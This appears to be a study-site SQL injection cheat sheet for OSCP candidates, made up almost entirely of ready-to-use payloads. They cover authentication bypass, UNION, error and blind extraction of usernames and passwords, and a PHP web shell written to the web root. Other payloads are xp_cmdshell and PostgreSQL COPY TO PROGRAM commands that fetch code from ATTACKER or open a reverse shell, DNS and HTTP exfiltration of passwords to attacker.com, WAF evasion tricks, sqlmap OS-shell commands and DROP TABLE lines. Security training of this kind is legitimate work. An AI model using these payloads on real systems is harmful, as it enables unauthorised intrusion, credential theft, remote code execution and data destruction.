SQL Injection Cheat Sheet 2026 - OSCP & Cybersecurity Certifications | FlashGenius
Complete SQL injection cheat sheet for OSCP and cybersecurity certifications. Master union-based, error-based, blind SQLi, SQLMap, MySQL/MSSQL/PostgreSQL exploitation, authentication bypass, and WAF bypass techniques.
This free interactive cheat sheet from FlashGenius is a quick-reference study guide with swipeable cards you can review on any device — no signup required.
SQL Injection Detection — Identify SQL injection vulnerabilities
Basic detection
- ' OR '1'='1: Classic SQLi test - true condition bypass
- ' OR 1=1-- -: SQL comment bypass (-- space required for MySQL)
- ' OR 1=1#: MySQL comment bypass (# comments out rest)
- admin'-- -: Username enumeration with SQL comment
- ' OR 'x'='x: Alternative true condition test
Error detection
- ': Single quote - triggers SQL error if vulnerable
- '': Double single quote - may cause different error
- ' AND '1'='2: False condition - different response indicates SQLi
- Look for SQL errors: MySQL: "You have an error in your SQL syntax", MSSQL: "Unclosed quotation mark"
- Compare responses: True vs false conditions should produce different responses
Injection points
- GET parameters: id=1' OR 1=1-- (URL parameters most common)
- POST data: username=admin' OR 1=1-- (form fields)
- Cookies: Cookie: session=abc123' OR 1=1--
- HTTP headers: User-Agent, Referer, X-Forwarded-For may be injectable
Union-Based SQL Injection — Extract data using UNION SELECT
Column enumeration
- ' ORDER BY 1-- -: Determine number of columns (increment until error)
- ' ORDER BY 5-- -: Keep incrementing ORDER BY until you get error
- ' UNION SELECT NULL-- -: Test for UNION with one NULL column
- ' UNION SELECT NULL,NULL,NULL-- -: Add NULLs until no error (matches column count)
- Find column count: If ORDER BY 5 works but ORDER BY 6 fails, there are 5 columns
Data extraction
- ' UNION SELECT 1,2,3,4,5-- -: Identify which columns are displayed on page
- ' UNION SELECT NULL,database(),NULL,NULL,NULL-- -: Extract current database name (MySQL)
- ' UNION SELECT NULL,user(),NULL,NULL,NULL-- -: Extract current database user (MySQL)
- ' UNION SELECT NULL,@@version,NULL,NULL,NULL-- -: Extract database version (MySQL/MSSQL)
- ' UNION SELECT NULL,table_name,NULL,NULL,NULL FROM information_schema.tables-- -: List all tables in database
- ' UNION SELECT NULL,column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -: List columns in users table
Credentials extraction
- ' UNION SELECT NULL,username,password,NULL,NULL FROM users-- -: Extract usernames and passwords from users table
- ' UNION SELECT NULL,CONCAT(username,':',password),NULL,NULL,NULL FROM users-- -: Concatenate username:password for easier reading
- ' UNION SELECT NULL,group_concat(username,':',password),NULL,NULL,NULL FROM users-- -: Extract all users in single row (MySQL)
Error-Based SQL Injection — Extract data through error messages
Mysql errors
- ' AND extractvalue(1,concat(0x7e,database()))-- -: Extract database name via extractvalue() error (MySQL)
- ' AND extractvalue(1,concat(0x7e,(SELECT user())))-- -: Extract user via extractvalue() error
- ' AND updatexml(1,concat(0x7e,database()),1)-- -: Extract database name via updatexml() error (MySQL)
- ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)-- -: Double query error-based extraction (MySQL)
Mssql errors
- ' AND 1=CONVERT(int,@@version)-- -: Extract version via type conversion error (MSSQL)
- ' AND 1=CONVERT(int,db_name())-- -: Extract database name via conversion error (MSSQL)
- ' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))-- -: Extract first table name via error (MSSQL)
Postgresql errors
- ' AND 1=CAST(version() AS int)-- -: Extract version via cast error (PostgreSQL)
- ' AND 1=CAST(current_database() AS int)-- -: Extract database name via cast error (PostgreSQL)
Boolean-Based Blind SQLi — Extract data using true/false conditions
Boolean testing
- ' AND 1=1-- -: True condition - page should load normally
- ' AND 1=2-- -: False condition - page should change/error
- Compare responses: If true/false produce different responses, blind SQLi exists
Data extraction
- ' AND SUBSTRING(database(),1,1)='a'-- -: Test if first character of database name is "a"
- ' AND LENGTH(database())>5-- -: Test if database name length is greater than 5
- ' AND ASCII(SUBSTRING(database(),1,1))>97-- -: Binary search for first character (ASCII value)
- ' AND (SELECT COUNT(*) FROM users)>10-- -: Test if users table has more than 10 rows
- ' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- -: Extract first character of first username
Automation tip
- Automate extraction: Write Python script to iterate through characters a-z, A-Z, 0-9
- Binary search: Use ASCII comparison for faster extraction: >64, >96, etc.
Time-Based Blind SQLi — Extract data using time delays
Mysql time
- ' AND SLEEP(5)-- -: Delay response by 5 seconds if vulnerable (MySQL)
- ' AND IF(1=1,SLEEP(5),0)-- -: Conditional time delay - delays if true (MySQL)
- ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -: Delay if first char of database is "a" (MySQL)
- ' AND IF(LENGTH(database())>5,SLEEP(5),0)-- -: Delay if database name length > 5 (MySQL)
Mssql time
- '; WAITFOR DELAY '00:00:05'-- -: Delay response by 5 seconds (MSSQL)
- '; IF (1=1) WAITFOR DELAY '00:00:05'-- -: Conditional time delay (MSSQL)
- '; IF (SELECT COUNT(*) FROM users)>10 WAITFOR DELAY '00:00:05'-- -: Delay if users table has > 10 rows (MSSQL)
Postgresql time
- '; SELECT pg_sleep(5)-- -: Delay response by 5 seconds (PostgreSQL)
- '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -: Conditional time delay (PostgreSQL)
Oracle time
- ' AND DBMS_LOCK.SLEEP(5)-- -: Delay response by 5 seconds (Oracle - requires privileges)
- ' AND (SELECT COUNT(*) FROM ALL_USERS)>0 AND DBMS_LOCK.SLEEP(5)-- -: Conditional time delay (Oracle)
MySQL-Specific Techniques — MySQL exploitation and enumeration
Mysql enumeration
- ' UNION SELECT NULL,@@version,NULL-- -: Get MySQL version
- ' UNION SELECT NULL,database(),NULL-- -: Get current database name
- ' UNION SELECT NULL,user(),NULL-- -: Get current database user
- ' UNION SELECT NULL,@@datadir,NULL-- -: Get MySQL data directory path
- ' UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata-- -: List all databases
File operations
- ' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- -: Read /etc/passwd file (requires FILE privilege)
- ' UNION SELECT NULL,LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts'),NULL-- -: Read hosts file on Windows
- ' UNION SELECT 'shell content',NULL,NULL INTO OUTFILE '/var/www/html/shell.php'-- -: Write PHP shell to web root (requires FILE privilege + writable dir)
- ' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/cmd.php'-- -: Write simple PHP web shell
Mysql comments
- -- (double dash space): Standard SQL comment in MySQL
- # (hash): MySQL-specific comment character
- /* inline comment */: C-style comment works in MySQL
- /*!50000 code */: Version-specific comment bypass (executes in MySQL 5.00.00+)
MSSQL-Specific Techniques — Microsoft SQL Server exploitation
Mssql enumeration
- ' UNION SELECT NULL,@@version,NULL-- -: Get MSSQL version
- ' UNION SELECT NULL,db_name(),NULL-- -: Get current database name
- ' UNION SELECT NULL,user_name(),NULL-- -: Get current user
- ' UNION SELECT NULL,name,NULL FROM sys.databases-- -: List all databases
- ' UNION SELECT NULL,name,NULL FROM sysobjects WHERE xtype='U'-- -: List all user tables
Command execution
- '; EXEC xp_cmdshell 'whoami'-- -: Execute OS command (requires xp_cmdshell enabled + sysadmin)
- '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- -: Enable xp_cmdshell (requires sysadmin privileges)
- '; EXEC xp_cmdshell 'powershell -c iex(new-object net.webclient).downloadstring("http://ATTACKER/shell.ps1")'-- -: Download and execute PowerShell script
- '; EXEC xp_cmdshell 'certutil -urlcache -f http://ATTACKER/nc.exe C:\\temp\\nc.exe'-- -: Download netcat via certutil
Stacked queries
- '; INSERT INTO users (username,password) VALUES ('hacker','pass123')-- -: Execute multiple queries (stacked queries work in MSSQL)
- '; DROP TABLE logs-- -: Delete logs table (destructive - avoid in OSCP)
- Semicolon delimiter: MSSQL allows multiple queries separated by semicolons
PostgreSQL-Specific Techniques — PostgreSQL exploitation and enumeration
Postgresql enumeration
- ' UNION SELECT NULL,version(),NULL-- -: Get PostgreSQL version
- ' UNION SELECT NULL,current_database(),NULL-- -: Get current database name
- ' UNION SELECT NULL,current_user,NULL-- -: Get current database user
- ' UNION SELECT NULL,datname,NULL FROM pg_database-- -: List all databases
- ' UNION SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname='public'-- -: List all tables in public schema
File read
- ' UNION SELECT NULL,pg_read_file('/etc/passwd',0,200),NULL-- -: Read /etc/passwd (requires superuser privileges)
- '; COPY (SELECT '') TO '/tmp/test.txt'-- -: Test file write permissions
- '; CREATE TABLE shell(output text); COPY shell FROM PROGRAM 'id'; SELECT * FROM shell-- -: Execute OS command via COPY FROM PROGRAM (PostgreSQL 9.3+)
Command execution
- '; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'-- -: Reverse shell via COPY TO PROGRAM (requires superuser)
- '; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami'; SELECT * FROM cmd_exec-- -: Execute command and read output
Oracle-Specific Techniques — Oracle database exploitation
Oracle enumeration
- ' UNION SELECT NULL,banner,NULL FROM v$version-- -: Get Oracle version
- ' UNION SELECT NULL,user,NULL FROM dual-- -: Get current database user
- ' UNION SELECT NULL,table_name,NULL FROM all_tables-- -: List all accessible tables
- ' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -: List columns in USERS table
- FROM dual required: Oracle requires FROM clause - use "FROM dual" for single values
Oracle syntax
- ' AND '1'='1: String concatenation test (Oracle)
- ' || 'test: Oracle string concatenation operator
- ' UNION SELECT NULL,username||':'||password,NULL FROM users-- -: Concatenate username:password with || operator
- ROWNUM for limiting: Use WHERE ROWNUM=1 instead of LIMIT 1
Oracle file ops
- ' UNION SELECT NULL,UTL_FILE.FGETATTR('DIRECTORY_NAME','/etc/passwd'),NULL FROM dual-- -: Read file attributes (limited use)
- UTL_HTTP for out-of-band: Use UTL_HTTP.REQUEST to exfiltrate data to external server
SQLMap Automation — Automated SQL injection with SQLMap
Basic sqlmap
- sqlmap -u "http://target.com/page.php?id=1": Basic SQLMap scan on URL parameter
- sqlmap -u "http://target.com/page.php?id=1" --dbs: Enumerate all databases
- sqlmap -u "http://target.com/page.php?id=1" -D dbname --tables: Enumerate tables in specific database
- sqlmap -u "http://target.com/page.php?id=1" -D dbname -T users --columns: Enumerate columns in users table
- sqlmap -u "http://target.com/page.php?id=1" -D dbname -T users -C username,password --dump: Dump username and password columns
Advanced sqlmap
- sqlmap -r request.txt --batch: Use captured HTTP request from Burp (--batch = automatic answers)
- sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3: Aggressive scan (more tests, higher detection rate)
- sqlmap -u "http://target.com/login" --data="user=admin&pass=test" -p user: Test POST parameter (specify -p to test specific param)
- sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123": Include authentication cookie
- sqlmap -u "http://target.com/page.php?id=1" --technique=BEUST: Specify techniques: Boolean, Error, Union, Stacked, Time-based
Sqlmap os shell
- sqlmap -u "http://target.com/page.php?id=1" --os-shell: Attempt to get interactive OS shell
- sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd": Read file from target system
- sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php": Upload file to target system
- sqlmap -u "http://target.com/page.php?id=1" --sql-shell: Get interactive SQL shell
Sqlmap tips
- Save output: SQLMap saves session data in ~/.sqlmap/output/ for resuming
- Tamper scripts: Use --tamper=space2comment for WAF bypass
- Threads: Use --threads=10 for faster scanning
Authentication Bypass — Bypass login forms with SQL injection
Login bypass
- admin' -- -: Username: admin' -- | Password: anything (comments out password check)
- admin' #: MySQL variant using # comment
- admin'/*: C-style comment variant
- ' OR '1'='1: Username: ' OR '1'='1 | Password: ' OR '1'='1
- ' OR 1=1-- -: Username: ' OR 1=1-- | Password: anything
Advanced bypass
- admin' OR '1'='1'-- -: Bypass with known username
- ' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99'-- -: Inject admin user with MD5 hash of "password"
- admin' AND 1=0 UNION ALL SELECT 'admin','admin'-- -: Return controlled values for username and password
- OSCP tip: Try simple bypasses first: admin' --, admin' #, ' OR 1=1--
Query examples
- Original query: SELECT * FROM users WHERE username='$user' AND password='$pass'
- After injection: SELECT * FROM users WHERE username='admin' -- ' AND password=''
- Result: Password check is commented out, login succeeds as admin
WAF Bypass Techniques — Evade Web Application Firewalls
Encoding bypass
- %55nion %53elect: URL encoding bypass (UNION SELECT)
- 0x61646d696e: Hex encoding for "admin"
- CHAR(97,100,109,105,110): CHAR encoding for "admin"
- CONCAT(CHAR(117),CHAR(115),CHAR(101),CHAR(114)): Build "user" string with CHAR and CONCAT
Comment bypass
- UN/**/ION SE/**/LECT: Inline comments to break up keywords
- UNION/*comment*/SELECT: Comment between keywords
- /*!50000UNION*/ /*!50000SELECT*/: MySQL version-specific comment bypass
- uni%0Bon%0Bse%0Blect: Vertical tab (%0B) bypass
Case and space
- UnIoN SeLeCt: Mixed case bypass (if WAF is case-sensitive)
- UNION+SELECT: Plus sign instead of space
- UNION%09SELECT: Tab character (%09) instead of space
- UNION%0ASELECT: Line feed (%0A) instead of space
- UNION%0DSELECT: Carriage return (%0D) instead of space
Sqlmap tamper
- sqlmap -u "URL" --tamper=space2comment: Replace spaces with comments
- sqlmap -u "URL" --tamper=between: Replace > with NOT BETWEEN 0 AND #
- sqlmap -u "URL" --tamper=randomcase: Randomize keyword case
- sqlmap -u "URL" --tamper=charencode: Encode characters
Second-Order SQL Injection — Injection with stored payloads
Concept
- What is second-order SQLi?: Payload is stored in database, then executed when retrieved later
- Example scenario: Register username: admin'-- | Later, profile page executes: SELECT * FROM users WHERE username='admin'--'
- Detection: Insert payloads during registration/profile update, check if they execute elsewhere
Payloads
- admin' OR 1=1-- -: Register with this username, may cause issues when username is used in queries
- '; DROP TABLE logs-- -: Dangerous - only use in authorized testing
- test' UNION SELECT NULL,user(),NULL-- -: Attempt data extraction via stored payload
- Common vulnerable fields: Username, email, profile bio, comments - any stored user input
Testing workflow
- Step 1: Insert SQLi payload in registration/profile field
- Step 2: Navigate to pages that display/use that data (profile, admin panel, search)
- Step 3: Check for SQLi execution in application behavior/errors
Out-of-Band SQL Injection — Exfiltrate data via external channels
Dns exfiltration
- '; DECLARE @h VARCHAR(60); SET @h=SUBSTRING(sys.fn_varbintohexstr(CAST(db_name() AS VARBINARY(MAX))),3,60); EXEC('xp_dirtree ''\\'+@h+'.attacker.com\share''')-- -: Exfiltrate database name via DNS (hex-encoded, max 60 chars for DNS label limit)
- '; DECLARE @h VARCHAR(60); SET @h=SUBSTRING(sys.fn_varbintohexstr(CAST((SELECT TOP 1 password FROM users) AS VARBINARY(MAX))),3,60); EXEC('xp_dirtree ''\\'+@h+'.attacker.com\share''')-- -: Exfiltrate first 30 bytes of password (hex-encoded, decode: echo HEX | xxd -r -p)
- DNS label limit: DNS labels max 63 chars. Hex doubles length, so limit to 60 hex chars (30 bytes). For longer data, exfiltrate in chunks.
- Why hex encoding?: Database values contain spaces/special chars that break DNS. Hex ensures only [0-9A-F] characters.
- Setup DNS server: Use dnslog.cn or Burp Collaborator to receive DNS requests
Http exfiltration
- '; DECLARE @h VARCHAR(200); SET @h=SUBSTRING(sys.fn_varbintohexstr(CAST(@@version AS VARBINARY(MAX))),3,200); EXEC xp_cmdshell 'certutil -urlcache -f http://attacker.com/'+@h+'.txt'-- -: Exfiltrate MSSQL version via HTTP (hex-encoded, HTTP has no DNS label limit)
- ' UNION SELECT LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\share'))-- -: MySQL UNC path exfiltration (Windows only, database() is usually safe)
- Decode on Linux: echo "48656C6C6F" | xxd -r -p # Decodes hex to original text
- Oracle UTL_HTTP: SELECT UTL_HTTP.REQUEST('http://attacker.com/'||RAWTOHEX(password)) FROM users
When to use
- No visible output: When application doesn't display query results anywhere
- Blind SQLi difficult: When boolean/time-based blind SQLi is too slow
- Strict filtering: When WAF blocks UNION and error-based techniques
OSCP Exam Strategy & Tips — SQL injection tips for OSCP certification
Oscp tips
- Manual first, tools later: OSCP requires manual exploitation - always try manual SQLi before SQLMap
- Focus on union-based: Union-based and error-based SQLi are most common in OSCP labs
- Document everything: Take screenshots of your SQLi payloads, database dumps, and command execution
- Test authentication bypass: Always try admin' --, admin' #, ' OR 1=1-- on login forms
- Enumerate thoroughly: Extract database version, user, tables, columns before dumping data
- Try file operations: If you have MySQL, try LOAD_FILE and INTO OUTFILE for RCE
- MSSQL = xp_cmdshell: If you find MSSQL and get sa/admin, enable xp_cmdshell for command execution
- Use Burp Suite: Intercept requests in Burp to modify parameters and test SQLi systematically
Common mistakes
- Relying only on SQLMap: OSCP wants manual methodology - SQLMap can miss custom scenarios
- Not testing all parameters: Test GET, POST, cookies, headers - SQLi can be anywhere
- Skipping comments syntax: Remember: -- (space required), #, /**/ - different databases use different comments
- Not checking column count: Always use ORDER BY or NULL technique to find column count for UNION
- Forgetting database differences: MySQL uses LIMIT, Oracle uses ROWNUM, syntax differs between databases
Recommended workflow
- 1. Detect vulnerability: Test with ', ", --, #, check for errors or behavior changes
- 2. Identify database type: Use error messages or version queries to identify MySQL/MSSQL/PostgreSQL
- 3. Find column count: ORDER BY or UNION SELECT NULL technique
- 4. Extract database info: Get version, user, database name, tables
- 5. Dump credentials: Extract usernames and passwords from users table
- 6. Attempt file ops/RCE: Try LOAD_FILE, INTO OUTFILE (MySQL), xp_cmdshell (MSSQL)
- 7. Document and escalate: Screenshot findings and use credentials for further access
Open the interactive cheat sheet | All 50+ Free Certification Cheat Sheets | Free Practice Tests